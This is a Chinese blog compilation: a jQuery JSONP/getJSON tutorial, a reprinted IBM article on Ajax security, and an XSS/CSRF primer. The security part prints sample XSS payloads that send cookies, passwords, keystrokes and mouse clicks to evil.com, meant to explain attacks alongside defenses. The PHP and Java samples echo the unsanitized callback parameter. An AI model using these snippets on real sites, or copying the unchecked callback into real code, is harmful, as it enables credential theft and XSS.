IT忍者神龟之jquery的ajax和getJson跨域获取json数据

 jquery的ajax和getJson跨域获取json数据

很多开发人员在使用jquery在前端和服务器端进行数据交互,所以很容易会认为在前端利用jquery就可以读取任何站点的数据了。近日在进行开发时,因为要和第三方公司的一个项目进行数据的共享,因为考虑多不占用服务器的资源,遂决定直接在html进行数据的读取,不走服务器端进行中转了。然后正好就遇到了浏览器端跨域访问的问题。

跨域的安全限制都是指浏览器端来说的,服务器端不存在跨域安全限制的问题。

目前浏览器端跨域访问常用的两种方法有两种:

1、通过jQuery的ajax进行跨域,这其实是采用的jsonp的方式来实现的。

jsonp是英文json with padding的缩写。它允许在服务器端生成script tags至返回至客户端,也就是动态生成javascript标签,通过javascript callback的形式实现数据读取。

html页面端示例代码:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//首先要引入jquery的js包
jQuery(document).ready( function (){
     $.ajax({
         type : "get" , //jquey是不支持post方式跨域的
         async: false ,
         url : "http://api.taobao.com/apitools/ajax_props.do" , //跨域请求的URL
         dataType : "jsonp" ,
         //传递给请求处理程序,用以获得jsonp回调函数名的参数名(默认为:callback)
         jsonp: "jsoncallback" ,
         //自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名
         jsonpCallback: "success_jsonpCallback" ,
         //成功获取跨域服务器上的json数据后,会动态执行这个callback函数
         success : function (json){
             alert(json);
         }
     });
});

服务器端示例代码,以java为例:

服务器端代码,是重点,开始以为,只要客户端通过jsonp就可以直接跨域访问,其实不然,需要服务器端的支持才行。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void jsonpTest() throws IOException{
     HttpServletRequest request = ServletActionContext.getRequest();
     HttpServletResponse response = ServletActionContext.getResponse();
     //根据html指定的jsonp回调函数的参数名,获取回调函数的名称
     //callbackName的值其实就是:success_jsonpCallback
     String callbackName = (String)request.getAttribute( "jsoncallback" );
     //简单模拟一个json字符串,实际可使用google的gson进行转换,次数通过字符串拼接
     //{"name":"张三","age":28}
     //\是对"号进行转义
     String jsonStr = "{\"name\":\"张三\",\"age\":28}" ;
     //最终返回的数据为:success_jsonpCallback({"name":"张三","age":28})
     String renderStr = callbackName+ "(" +jsonStr+ ")" ;
     response.setContentType( "text/plain;charset=UTF-8" );
     response.getWriter().write(renderStr);
}

jsonp的原理:

首先在客户端注册一个callback (如:'jsoncallback'), 然后把callback的名字(如:success_jsonpCallback)传给服务器端对应的处理函数。

服务器先生成需要返回给客户端的 json 数据。然后以 javascript 语法的方式,生成一个function , function 名字就是传递上来的参数(jsoncallback)的值(success_jsonpCallback) 。

最后将 json 数据直接以入参的方式,放置到 function 中,这样就生成了一段 js 语法的文档,返回给客户端。
客户端浏览器,解析script标签,并将服务器端返回的数据,作为参数,
传入到了客户端预先定义好的 callback 函数(如上例中jquery $.ajax()方法封装的的success: function (json))里。

实际上跨域是通过动态增加script来加载数据,无法直接获得数据,所以需要使用回调函数。

2.使用jquery的getJson进行跨域读取数据

实际上getJson方式的根本原理和ajax使用jsonp的方式是一样的。

jquery中常用getJson来调用获取远程的数据,并通过json格式返回。函数的原型如下:

jQuery.getJSON(url,data,success(data,status,xhr))

参数 描述
url 必需。规定将请求发送的哪个 URL。
data 可选。规定连同请求发送到服务器的数据。
success(data,status,xhr)

可选。规定当请求成功时运行的函数。

额外的参数:

  • response - 包含来自请求的结果数据
  • status - 包含请求的状态
  • xhr - 包含 XMLHttpRequest 对象

该函数是简写的ajax函数,实际上等价于:

$.ajax({
  url: url,
  data: data,
  success: callback,
  dataType: json
});

言归正传,下面我们来看如何使用getJson跨域获取数据。

html页面示例代码:

$.getJSON("http://api.taobao.com/apitools/ajax_props.do&jsoncallback=?",
    function (data) {
        alert(data);
    }
);

执行原理:

发送请求时需要传一个callback的回调函数名到服务器端,服务器端拿到这个回调函数名,再将返回数据用参数的形式反回到客户端,这样客户端就能够调到。

所以发送请求URL的地址后面一定要上jsoncallback=?这样的参数,jquery会将?号自动替换成自动生成的回调函数的名称。

所以最终的实际请求为:http://api.taobao.com/apitools/ajax_props.do&jsoncallback=jsonp1322444422697

所以和ajax的方式想比较,也就是callback函数一个是自动生成的函数名,一个是手工指定的函数名。




Asynchronous JavaScript and XML (Ajax ) 是驱动新一代 Web 站点(流行术语为 Web 2.0 站点)的关键技术。Ajax 允许在不干扰 Web 应用程序的显示和行为的情况下在后台进行数据检索。使用 XMLHttpRequest 函数获取数据,它是一种 API,允许客户端 JavaScript 通过 HTTP 连接到远程服务器。Ajax 也是许多 mashup 的驱动力,它可将来自多个地方的内容集成为单一 Web 应用程序。

 

不过,由于受到浏览器的限制,该方法不允许跨域通信。如果尝试从不同的域请求数据,会出现安全错误。如果能控制数 据驻留的远程服务器并且每个请求都前往同一域,就可以避免这些安全错误。但是,如果仅停留在自己的服务器上,Web 应用程序还有什么用处呢?如果需要从多个第三方服务器收集数据时,又该怎么办?

 

理解同源策略限制

同源策略阻止从一个域上加载的脚本获取或操作另一个域上的文档属性。也就是说,受到请求的 URL 的域必须与当前 Web 页面的域相同。这意味着浏览器隔离来自不同源的内容,以防止它们之间的操作。这个浏览器策略很旧,从 Netscape Navigator 2.0 版本开始就存在。

 

克服该限制的一个相对简单的方法是让 Web 页面向它源自的 Web 服务器请求数据,并且让 Web 服务器像代理一样将请求转发给真正的第三方服务器。尽管该技术获得了普遍使用,但它是不可伸缩的。另一种方式是使用框架要素在当前 Web 页面中创建新区域,并且使用 GET 请求获取任何第三方资源。不过,获取资源后,框架中的内容会受到同源策略的限制。

 

克服该限制更理想方法是在 Web 页面中插入动态脚本元素,该页面源指向其他域中的服务 URL 并且在自身脚本中获取数据。脚本加载时它开始执行。该方法是可行的,因为同源策略不阻止动态脚本插入,并且将脚本看作是从提供 Web 页面的域上加载的。但如果该脚本尝试从另一个域上加载文档,就不会成功。幸运的是,通过添加 JavaScript Object Notation (JSON) 可以改进该技术。

 

1、什么是JSONP?

 

要了解JSONP,不得不提一下JSON,那么什么是JSON ?

JSON is a subset of the object literal notation of JavaScript. Since JSON is a subset of JavaScript, it can be used in the language with no muss or fuss.

JSONP(JSON with Padding)是一个非官方的协议,它允许在服务器端集成Script tags返回至客户端,通过javascript callback的形式实现跨域访问(这仅仅是JSONP简单的实现形式)。

 

2、JSONP有什么用?

由于同源策略的限制,XmlHttpRequest只允许请求当前源(域名、协议、端口)的资源,为了实现跨域请求,可以通过script标签实现跨域请求,然后在服务端输出JSON数据并执行回调函数,从而解决了跨域的数据请求。

 

3、如何使用JSONP?

下边这一DEMO实际上是JSONP的简单表现形式,在客户端声明回调函数之后,客户端通过script标签向服务器跨域请求数据,然后服务端返回相应的数据并动态执行回调函数。

 

HTML代码 (任一 ):

 

Html代码   收藏代码
  1. <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />  
  2. <script type="text/javascript">  
  3.     function jsonpCallback(result) {  
  4.         //alert(result);  
  5.         for(var i in result) {  
  6.             alert(i+":"+result[i]);//循环输出a:1,b:2,etc.  
  7.         }  
  8.     }  
  9.     var JSONP=document.createElement("script");  
  10.     JSONP.type="text/javascript";  
  11.     JSONP.src="http://crossdomain.com/services.php?callback=jsonpCallback";  
  12.     document.getElementsByTagName("head")[0].appendChild(JSONP);  
  13. </script>  
 

或者

 

Html代码   收藏代码
  1. <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />  
  2. <script type="text/javascript">  
  3.     function jsonpCallback(result) {  
  4.         alert(result.a);  
  5.         alert(result.b);  
  6.         alert(result.c);  
  7.         for(var i in result) {  
  8.             alert(i+":"+result[i]);//循环输出a:1,b:2,etc.  
  9.         }  
  10.     }  
  11. </script>  
  12. <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>  

 

JavaScript的链接,必须在function的下面。

 

服务端PHP代码 (services.php):

 

Php代码   收藏代码
  1. <?php  
  2.   
  3. //服务端返回JSON数据  
  4. $arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);  
  5. $result=json_encode($arr);  
  6. //echo $_GET['callback'].'("Hello,World!")';  
  7. //echo $_GET['callback']."($result)";  
  8. //动态执行回调函数  
  9. $callback=$_GET['callback'];  
  10. echo $callback."($result)";  
 

如果将上述JS客户端代码用jQuery的方法来实现,也非常简单。

 

$.getJSON
$.ajax
$.get

 

客户端JS代码在jQuery中的实现方式1:

 

Js代码   收藏代码
  1. <script type="text/javascript" src="jquery.js"></script>  
  2. <script type="text/javascript">  
  3.     $.getJSON("http://crossdomain.com/services.php?callback=?",  
  4.     function(result) {  
  5.         for(var i in result) {  
  6.             alert(i+":"+result[i]);//循环输出a:1,b:2,etc.  
  7.         }  
  8.     });  
  9. </script>  
 

客户端JS代码在jQuery中的实现方式2:

 

Js代码   收藏代码
  1. <script type="text/javascript" src="jquery.js"></script>  
  2. <script type="text/javascript">  
  3.     $.ajax({  
  4.         url:"http://crossdomain.com/services.php",  
  5.         dataType:'jsonp',  
  6.         data:'',  
  7.         jsonp:'callback',  
  8.         success:function(result) {  
  9.             for(var i in result) {  
  10.                 alert(i+":"+result[i]);//循环输出a:1,b:2,etc.  
  11.             }  
  12.         },  
  13.         timeout:3000  
  14.     });  
  15. </script>  
 

客户端JS代码在jQuery中的实现方式3:

 

Js代码   收藏代码
  1. <script type="text/javascript" src="jquery.js"></script>  
  2. <script type="text/javascript">  
  3.     $.get('http://crossdomain.com/services.php?callback=?', {name: encodeURIComponent('tester')}, function (json) { for(var i in json) alert(i+":"+json[i]); }, 'jsonp');  
  4. </script>  
 

其中 jsonCallback 是客户端注册的,获取 跨域服务器 上的json数据 后,回调的函数。
http://crossdomain.com/services.php?callback=jsonpCallback
这个 url 是跨域服务 器取 json 数据的接口,参数为回调函数的名字,返回的格式为

 

Js代码   收藏代码
  1. jsonpCallback({msg:'this is json data'})  
 

Jsonp原理: 
首先在客户端注册一个callback, 然后把callback的名字传给服务器。

此时,服务器先生成 json 数据。
然后以 javascript 语法的方式,生成一个function , function 名字就是传递上来的参数 jsonp.

最后将 json 数据直接以入参的方式,放置到 function 中,这样就生成了一段 js 语法的文档,返回给客户端。

客户端浏览器,解析script标签,并执行返回的 javascript 文档,此时数据作为参数,传入到了客户端预先定义好的 callback 函数里.(动态执行回调函数)

 

使用JSON的优点在于:

  • 比XML轻了很多,没有那么多冗余的东西。
  • JSON也是具有很好的可读性的,但是通常返回的都是压缩过后的。不像XML这样的浏览器可以直接显示,浏览器对于JSON的格式化的显示就需要借助一些插件了。
  • 在JavaScript中处理JSON很简单。
  • 其他语言例如PHP对于JSON的支持也不错。

JSON也有一些劣势:

  • JSON在服务端语言的支持不像XML那么广泛,不过JSON.org上提供很多语言的库。
  • 如果你使用eval()来解析的话,会容易出现安全问题。

尽管如此,JSON的优点还是很明显的。他是Ajax数据交互的很理想的数据格式。

 

主要提示:

JSONP 是构建 mashup 的强大技术,但不幸的是,它并不是所有跨域通信需求的万灵药。它有一些缺陷,在提交开发资源之前必须认真考虑它们。

 

第一,也是最重要的一点,没有关于 JSONP 调用的错误处理。如果动态脚本插入有效,就执行调用;如果无效,就静默失败。失败是没有任何提示的。例如,不能从服务器捕捉到 404 错误,也不能取消或重新开始请求。不过,等待一段时间还没有响应的话,就不用理它了。(未来的 jQuery 版本可能有终止 JSONP 请求的特性)。

 

JSONP 的另一个主要缺陷是被不信任的服务使用时会很危险。因为 JSONP 服务返回打包在函数调用中的 JSON 响应,而函数调用是由浏览器执行的,这使宿主 Web 应用程序更容易受到各类攻击。如果打算使用 JSONP 服务,了解它能造成的威胁非常重要。

 

Ajax 构建于动态 HTML(DHTML)技术之上,其中包括如下这些最常见的技术:

  • JavaScript :JavaScript 是一种脚本语言,在客户端 Web 应用程序中经常使用。
  • 文档对象模型(Document Object Model,DOM) :DOM 是一种用于表示 HTML 或 XML 文档的标准对象模型。如今,大多数浏览器都支持 DOM 并允许 JavaScript 代码动态地读取和修改 HTML 内容。
  • 层叠样式表(Cascading Style Sheets,CSS) :CSS 是一种用于说明 HTML 文档表示的样式表语言。JavaScript 能够在运行的时候对样式表进行修改,这样便可以动态地更新 Web 页面的表示。

在 Ajax 中,客户端 JavaScript 通过动态地修改 DOM 树和样式表来更新 Web 页面。此外,异步通信(可以通过下面介绍的技术实现)允许动态地更新数据,而无需重新加载整个 Web 页面:

  • XMLHttpRequest XMLHttpRequest 是一个 API,它允许客户端的 JavaScript 与远程服务器建立 HTTP 连接和交换数据,比如说纯文本、XML 和 JSON(JavaScript Serialized Object Notation)。
  • JSON :JSON 由 RFC 4627 提出,是一种轻量的、基于文本的、独立于语言的数据交换格式。它以 ECMAScript 语言的一个子集为基础(这使之成为 JavaScript 语言的一个部分),并且定义了一小套格式规则用以创建结构数据的可移植表示。

注意,Ajax 应用程序中还有一些其他常用的格式可以替代 JSON,比如说 XML 和无格式的纯文本。此处我们选择讨论 JSON,其原因在于它具有一些隐藏的安全问题,稍后我们将在文章中对其进行研究。

建议对 Ajax 还不熟悉的读者先阅读 参考资料 中的文章。

 

理解同源策略

当来自多个始发源的内容以某种方式被集成到一个单一的应用程序中时,一些内容相互之间可能具有不同的信任级别,或者它们可能根本没有必要相互信任。这样自然而然会产生某种需求,即把来自不同始发者的内容分离开来,把它们之间的冲突减至最少。

 

同源策略是当前浏览器的保护机制的一部分,该机制将来自不同域(假设域代表的是始发者)的 Web 应用程序分离开来。也就是说,如果多个窗口或框架中的一些应用程序是从不同的服务器下载的,那么它们无法相互访问数据和脚本。注意,同源策略只能应用于 HTML 文档。通过 <script src="..." > 标记导入 HTML 文档的 JavaScript 文件被认为是该 HTML 文档的同源的一部分。该策略在所有主要浏览器实现中都有执行。

 

在 XMLHttpRequest 的上下文中,同源策略的目的是控制应用程序与远程服务器的交互。然而,同源策略对 Web 2.0 应用程序的影响力比较有限,这有如下几个原因:

 

  • 可以通过许多方法绕过同源策略 :稍后我将在文章中演示其中的一些方法。
  • Web 2.0 应用程序的一个重要特性就是用户对内容的贡献 :也就是说,通常内容并不是由受信任的服务提供的,而更多的是由异步用户通过 blog、wiki 等媒介提供的。因此,即便是单个服务器中的内容实际上也能够来自多个来源。
  • 浏览器强制同源策略将服务器的域名作为串字面值进行检查 :例 如,http://www.abc.com/ 和 http://12.34.56.78/ 会被作为不同的域而区别对待,即使 www.abc.com 的 IP 地址实际上就是 12.34.56.78。此外,URL 中的任何路径表达式都将被忽略。例如,http://www.abc.com/~alice 会被识别为 http://www.abc.com/~malroy 的同源,从而忽略了这样一个事实,即这两个目录有可能属于不同的用户。
  • 大多数 Web 浏览器允许 Web 应用程序将域的定义放宽为应用程序自身的超域 :比如说,如果应用程序是从 www.abc.com 处下载的,那么应用程序可以把 document.domain 属性重写为 abc.com 或者就是 com(在 Firefox 中)。大多数最新的浏览器只允许访问已经把它们的 document.domain 属性重写为相同值的窗口或框架中的窗口对象。然而,一些版本比较老的浏览器允许与 document.domain 属性中指定的域建立 XMLHttpRequest 连接。
  • 即使某个 Web 服务器位于受信任的域中,该服务器可能并不是内容的始发源,尤其是在 Web 2.0 的上下文中 : 比如说,企业门户服务器、基于 Web 的邮件服务器或者 wiki 可以是受信任的,但是他们所托管的内容可能包含来自具有潜在的恶意的第三方的输入,这个第三方可以是跨站脚本(cross-site scripting,XSS)攻击(该攻击我们将在稍后介绍)的目标。因此,服务器所在的域并不能代表其内容的可信任度。

 

避免同源策略:JSON 和 动态脚本标记

由于 JSON 只是一种含有简单括号结构的纯文本,因此许多通道都可以交换 JSON 消息。因为同源策略的限制,我们不能在与外部服务器进行通信的时候使用 XMLHttpRequest 。JSONP(JSON with Padding)是一种可以绕过同源策略的方法,即通过使用 JSON 与 <script> 标记相结合的方法,如 清单 1 所示。


清单 1. JSON 例子

 
Js代码   收藏代码
  1. <script type="text/javascript"  
  2.   src="http://travel.com/findItinerary?username=sachiko&  
  3.   reservationNum=1234&output=json&callback=showItinerary" />  
 

当 JavaScript 代码动态地插入 <script> 标记时,浏览器会访问 src 属性中的 URL。这样会导致将查询字符串中的信息发送给服务器。在 清单 1 中,所传递的是 username 和 reservation 作为名称值对传递。此外,查询字符串还包含向服务器请求的输出格式和回调函数的名称(即 showItinerary )。<script> 标记加载后,会执行回调函数,并通过回调函数的参数把从服务返回的信息传递给该回调函数。

 

避免同源策略:Ajax 代理

Ajax 代理是一种应用级代理服务器,用于调解 Web 浏览器和服务器之间的 HTTP 请求和响应。Ajax 代理允许 Web 浏览器绕过同源策略,这样便可以使用 XMLHttpRequest 访问第三方服务器。要实现这种绕过,有如下两种方法可供选择:

  • 客户端 Web 应用程序知道第三方 URL 并将该 URL 作为 HTTP 请求中的一个请求参数传递给 Ajax 代理。然后,代理将请求转发给 www.remoteservice.com。注意,可以把代理服务器的使用隐藏在 Web 应用程序开发人员所使用的 Ajax 库的实现中。对于 Web 应用程序开发人员而言,它看上去可能完全不具有同源策略。
  • 客户端 Web 应用程序不知道第三方 URL,并且尝试通过 HTTP 访问 Ajax 代理服务器上的资源。通过一个预定义的编码规则,Ajax 代理将 所请求的 URL 转换为第三方服务器的 URL 并代表客户检索内容。这样一来,Web 应用程序开发人员看上去就像是在和代理服务器直接进行通信。

 

避免同源策略:Greasemonkey

Greasemonkey 是一个 Firefox 扩展,它允许用户动态地对 Web 页面的样式和内容进行修改。Greasemonkey 用户可以把用户脚本(user script) 文件与一个 URL 集合建立关联。当浏览器通过该 URL 集合加载页面时,便会执行这些脚本。Greasemonkey 为用户脚本的 API 提供了额外的许可(与运行在浏览器沙盒中的脚本的许可相比较)。

 

GM_XMLHttpRequest 是其中的一个 API,它从本质上说就是一个不具有同源策略的 XMLHttpRequest 。用户脚本可以将浏览的内置 XMLHttpRequest 替代为 GM_XMLHttpRequest ,从而许可 XMLHttpRequest 执行跨域访问。

 

GM_XMLHttpRequest 的使用只能通过用户同意的途径才能受到保护。也就是说,Greasemonkey 只有在建立新用户脚本与特定 URL 的集合之间的关联时才会要求用户配置。然而,不难想象一些用户可能会被欺骗,在没有完全理解其后果时就接受该安装。


研究攻击场景

不仅开发人员在避免同源策略时会向恶意用户露出攻击面,当恶意代码被插入 Web 应用程序中时当前的应用程序也易于受到攻击。遗憾的是,恶意代码进入 Web 应用程序的方法多种多样。我们将简要讨论其中两种可能的途径,这对于 Web 2.0 的下上文来说也日渐相关。

 

跨站脚本(Cross-site scripting,XSS)

XSS 是一种很常见的攻击手段,在该攻击中攻击者将一个恶意代码段注入到一个运行良好的站点中。XSS 攻击有如下两种基本的类型:

  • Reflected XSS
  • Stored XSS

reflected XSS 攻击利用了 Web 应用程序安全性低的弱点,该应用程序在浏览器中显示输入参数而不对其中是否存在活动内容进行检查。通常,攻击者会诱使受害者单击 URL,如 清单 2 所示。


清单 2. reflected XSS 攻击的一个示例 URL

 
Js代码   收藏代码
  1. http://trusted.com/search?keyword=<script>  
  2. document.images[0].src="http://evil.com/steal?cookie="   
  3. + document.cookie; </script>  
 

假设 trusted.com 提供了一个服务,该服务具有一个搜索特性能把搜索结果和输入的关键字一起提交回来。如果搜索应用程序没有过滤 URL 中的一些特殊字符(如小于号 (<) 和大于号 (>)),则 <script> 标记也将被插入到用户 Web 页面中,这样将会把文档的 cookie 发送给远程服务器 evil.com。

 

随着 Web 2.0 的普及 stored XSS 攻击越来越严重。Web 2.0 成功的关键是大众之间的共享、交互和协作,因此用户有更多的机会可以通过一些服务(比如说社会网络服务(social network services,SNS)、wiki 或 blog)看到其他用户(具有潜在恶意性)的输入。

 

不管怎样,输入值验证和数据消毒(sanitation)是防止 XSS 攻击的关键因素。通常,Web 服务器从用户输入中移除脚本,但是攻击者经常会利用服务器的弱点绕过这些过滤器,从而造成一些重大的攻击,比如说 Yamanner 或 MySpaceIn 蠕虫。

 

Mashup

mashup 应用程序是一种 Web 应用程序,它可以把来自多个来源的内容和服务结合到一个集成的用户体验中。通常,mashup 应用程序会造成一个单一的客户端应用程序,因此 mashup 中的不同部分可以通过一些浏览器资源(比如说 DOM 树或浏览器窗口工具)来进行信息共享和交互。当 mashup 中的某些部分是出于恶意目的编写的(或者被攻击了),它可以将恶意代码注入到应用程序中。这样会导致各种类型的攻击(类似于 XSS),包括盗取用户的敏感信息。


理解攻击产生的影响

我们已经知道攻击者是如何将代码注入应用程序的,接下来再看看一些常见攻击所带来的影响。


窃取 cookies 或密码

对于攻击者而言,最直接的受益就是获得用户的敏感信息,比如说用户密码或 cookies。因为注入脚本可以访问 DOM 树的任何部分,所以它们可以从登录表单的文本字段中窃取密码信息。例如,清单 3 中展示的代码能够窃取信息并将其发送到某个攻击者的服务器。


清单 3. 攻击示例:从文本字段中窃取密码

 
Js代码   收藏代码
  1. function stealpw(){  
  2.   var pw = document.getElementById("password").value;  
  3.   document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;  
  4. }  
  5. document.getElementById("button").onclick = stealpw;  
 

在本例中,攻击者需要等待一段时间,直到用户单击提交按钮之后才能接收到他的数据。Ajax 使攻击者的工作更加简单,这是因为它允许攻击者向远程服务发送任意信息,而不用等待利用用户的动作,比如说点击一个按钮或单击一个链接。这种类型的通信量 通常会被视为可疑行为,但是由于 Ajax 具有异步性,所以这种通信量常常不会被检测到。

 

使用类似的方法,攻击者还能够窃取敏感 Web 应用程序中的文档 cookies(比如说在线金融应用程序)。文档 cookies 可以允许攻击者劫持会话或使用所窃取的凭证进行登录。

 

注意,Microsoft® Internet Explorer® 6 或更高版本对 HttpOnly cookies 提供了支持,这样可以防止客户端脚本访问文档 cookies。然而,由于大多数 Web 应用程序都不能依赖浏览器来实现,所以这种方法也无济于事。

 

使用键盘记录工具(key logger)窃取键盘事件

清单 4 展示了一个简单的键盘记录工具示例,该工具窃取 Web 页面中的键盘事件并将它们发送给远程服务器。键盘记录工具允许攻击者劫持任何用户输入;比如说,如果某个用户在使用一个基于 Web 的电子邮件服务,那么键盘记录工具将记录下任何文本输入并将其发送给攻击者。然后,攻击者能够通过分析记录数据检索出凭证信息,比如说密码和凭证信息。


清单 4. 攻击示例:键盘记录工具

 
Js代码   收藏代码
  1. function keylogger(e){  
  2.   document.images[0].src = "http://evil.com/logger?key="  
  3.   + e.keyCode;  
  4. };  
  5. document.body.addEventListener("keyup", keylogger, false);  
 

使用鼠标嗅探器窃取键盘事件

软键盘是防止键盘记录工具窃取敏感输入信息(比如说用于在线金融服务的登录 PIN 码)的一个常用技巧。然而,鼠标嗅探器可以使用类似于键盘记录工具所使用的技巧。通过窃取鼠标事件的 X 和 Y 坐标,推算出鼠标在软键盘上所点击的键也是有可能的。清单 5 演示了一个简单的鼠标嗅探器的示例。


清单 5. 攻击示例:鼠标嗅探

 
Js代码   收藏代码
  1. function sniffer(e){  
  2.   document.images[0].src= "http://evil.com/imgs/sniffer?x="  
  3.   + e.clientX + "&y=" + e.clientY;  
  4. };  
  5. document.body.addEventListener("mouseup", sniffer, false);  
 


插入错误信息

使用 DOM 接口,攻击者能够修改 DOM 树中的任何信息。比如说,当某个用户正在进行在线转帐操作时,攻击者把目标帐户修改为属于他自己的帐户也是可行的。其结果是,转帐的金额将被存入攻击者的帐户中。

 

在另一种攻击类型中,攻击者可能会修改样式表,把信息隐藏起来不让用户发现。比如说,假设某个 Web 页面包含有一个警告消息,如 清单 6 所示。


清单 6. 警告消息

 
Html代码   收藏代码
  1. ...  
  2. <style type="text/css"> #warning { color: red } </style>  
  3. ...  
  4. <div id="warning">The links in this page may refer to   
  5. potentially malicious Web pages, so be careful. </div>  
  6. ...  
 

攻击者可能会修改样式表,消除警告。比如说,清单 7 中展示的 JavaScript 代码修改了警告的样式,使它在白色的背景中不可见。


清单 7. 攻击示例:消除警告

 
Js代码   收藏代码
  1. var e = document.getElementById("warning");  
  2. e.style.color= "white";  
 

推荐的最佳实践

我们对攻击有可能的实现和其所带来的后果有了基本的了解,接下来再看看一些技巧,并应用这些技巧改善 Ajax 应用程序的安全性。


添加一个输入值检查

正如我们在 XSS 示例中所看到的,大多数的攻击都利用了服务器端的弱点,注入恶意脚本。因此,要保护 Web 应用程序,第一步需要添加输入验证。输入验证和数据消毒会从不可信的输入中过滤掉所有可能的活动或恶意的内容。

 

输入验证的两种类型:

  • 黑名单: 在这种方法中,黑名单中的所有字符都会从输入中过滤掉。黑名单所面临的最大的挑战就是要确保所有危险的字符都包含在名单中。因为要预测到所有可能的输入组合是不可能的,所以黑名单经常不能实现正确的验证。
  • 白名单: 这种替代方法列出所有允许的字符并从输入中移除所有其它的字符。白名单所面临的最大的挑战就是在保持列表尽可能简短的同时,仍然能够提供足够的灵活性,允许 Web 应用程序所需的输入类型。

不能把黑名单或白名单作为一种绝对安全的解决方案。但是,人们通常认为白名单是更加安全的选择。因此,推荐您使用白名单来清除具有潜在危险性的输入。

 

对发送给浏览器并在其上显示的字符串中的特殊字符(比如说把小于号 (<) 换成 "&lt;")进行转义是增强安全性的另一种方法。有些程序语言提供了一些内置的函数用于转义特殊字符。


使用漏洞检查工具

由于应用程序中的程序错误都比较类似,因此许多 Web 应用程序都易于受到攻击。所以,安全专家开发了一些工具,用于检测这些不安全的编程实践。此类工具称为漏洞检查工具,它们能预先检测出潜在的漏洞。这些工 具检测出的最常见的漏洞之一就是程序员忘记对潜在的恶意输入调用消毒例程。

 

不要动态地生成和执行代码

可以使用若干种方法在 JavaScript 程序中动态地生成代码。最著名的函数之一就是 eval() 函数,该函数允许您将任意字符串做为 JavaScript 代码执行。然而,肆无忌惮地使用该函数是非常危险的。遗憾的是,一些使用广泛的 JavaScript 库在内部直接使用 eval() 函数。

 

保障 JSON 的使用安全

由于 JSON 是以 JavaScript 的一个子集为基础的,所以脚本内容会潜在地包含恶意代码。然而,JSON 是 JavaScript 的一个安全的子集,不含有赋值和调用。因此,许多 JavaScript 库使用 eval() 函数将 JSON 转换成 JavaScript 对象。要利用这点,攻击者可以向这些库发送畸形的 JSON 对象,这样 eval() 函数就会执行这些恶意代码。可以采取一些方法来保护 JSON 的使用。第一个方法是使用 RFC 4627 中所定义的正则表达式确保 JSON 数据中不包含活动的部分。清单 8 演示了如何使用正则表达式检查 JSON 字符串。


清单 8. 使用正则表达式检查 JSON 字符

 
Js代码   收藏代码
  1. var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(  
  2.     text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&  
  3.     eval('(' + text + ')');  
 

另一种更具安全性的方法是使用 JSON 解析器对 JSON 进行解析。由于 JSON 的语法相当的简单,您可以轻易地实现这种解析器,而不会带来显著的性能差异。

 

在集成不可信内容时使用 <iframe>

您可以利用同源策略使攻击者无法轻易地访问整个 DOM 树。当您把不同域中的数据加载到一个 <iframe> 中时,应该给予该数据一个属于自己的 JavaScript 执行上下文和 DOM 树。这样可以防止攻击者从主页面中窃取信息。尽可能多地 <iframe> 限制不可信的外部内容是一个良好的实践。


结束语

在这篇文章中,我们概述了在 Web 2.0 应用程序中避免同源策略的各种不同的方法。我们还演示了这些方法如何在 Web 应用程序中公开一些新的攻击点。我们讨论了一些常见的攻击类型和这些攻击所带来的后果。最后,我们在简短的最佳实践部分中对文章进行了总结,使用这些最佳 实践可以避免一些最常见的攻击。

 

 

来源:https://www.ibm.com/developerworks/cn/xml/x-ajaxsecurity.html

 

 

跨站脚本

在媒体的帮助下,跨站脚本(XSS)成为了大家关注的焦点,当然它是绝对应当关注的。XSS 是 web 应用中最常见的安全隐患,许多流行的开放源代码的 PHP 应用程序受到 XSS 隐患的困扰。

XSS 攻击发生在下面的情况下:

  • 对于可获得用户信任的特定站点。

    用户没有必要用很高的等级信任任何网站,但是浏览器需要。例如,当浏览器在请求中发送 cookie,则意味着信任目标网站。对于不同的网站,用户可能有不同的浏览行为或者不同的安全防范等级。

  • 通常包含显示外部数据的网站。

    有高风险的应用包含论坛、web 邮件以及任何会显示出来的聚合内容(如 RSS feeds)。

  • 攻击者可控制的内容注入。

    当外部数据没有很好的过滤时,可能会显示攻击者需要的内容。这意味着攻击者可以更改服务器上的代码。

这是如何发生的?如果显示一个从外部获得的没有很好过滤的内容,则会产生 XSS 安全隐患。外来数据不仅限于客户端的数据。同时也包含显示在 web 邮件上的电子邮件、广告条、聚合 blog 以及类似的东西。任何从外部获得的,不在代码中的信息都是外部数据,这意味着多数数据都是外部数据。

 

 

伪造跨站请求

忽略名字上的相似程度,伪造跨站请求(CSRF)是几乎完全相反的攻击方式。XSS 是利用用户对网站的信任展开攻击;CSRF 是利用网站对用户的信任展开攻击。CSRF 攻击更加危险,更少遇到(意味着对于开发者没有更多资料),并且比起 XSS 攻击更加难以防御。

CSRF 攻击发生在下面的情况下:

  • 对于可获得网站信任的特定用户。

    多数用户可能不被信任,但是 web 应用向用户提供特定的权限以便其登录进入应用程序是很普遍的。拥有很高的特权的用户往往都是受害者(事实上在自己不知道的情况下成为了同谋)。

  • 通常网站信任用户的身份标识。用户的身份标识拥有着重要的地位。但是即便有安全的会话管理机制,CSRF 攻击仍然能够成功。而且事实上,对于这种情况 CSRF 攻击更加有效。

  • 攻击者可随心所欲的执行 HTTP 请求。

    在 CSRF 所有攻击方式中包含攻击者伪造一个看起来是其他用户发起的 HTTP 请求(事实上,跟踪一个用户发送的 HTTP 请求才是攻击者的目的)。有一部分技术可以用来完成这个,后面会演示一个使用特别技术的例子。

由于 CSRF 攻击包含伪造 HTTP 请求,熟悉底层 HTTP 协议就变得非常重要。

 

 

伪造跨站请求介绍

  伪造跨站请求比较难以防范,而且危害巨大,攻击者可以通过这种方式恶作剧,发spam信息,删除数据等等。这种攻击常见的表现形式有:

  伪造链接,引诱用户点击,或是让用户在不知情的情况下访问

  伪造表单,引诱用户提交。表单可以是隐藏的,用图片或链接的形式伪装。

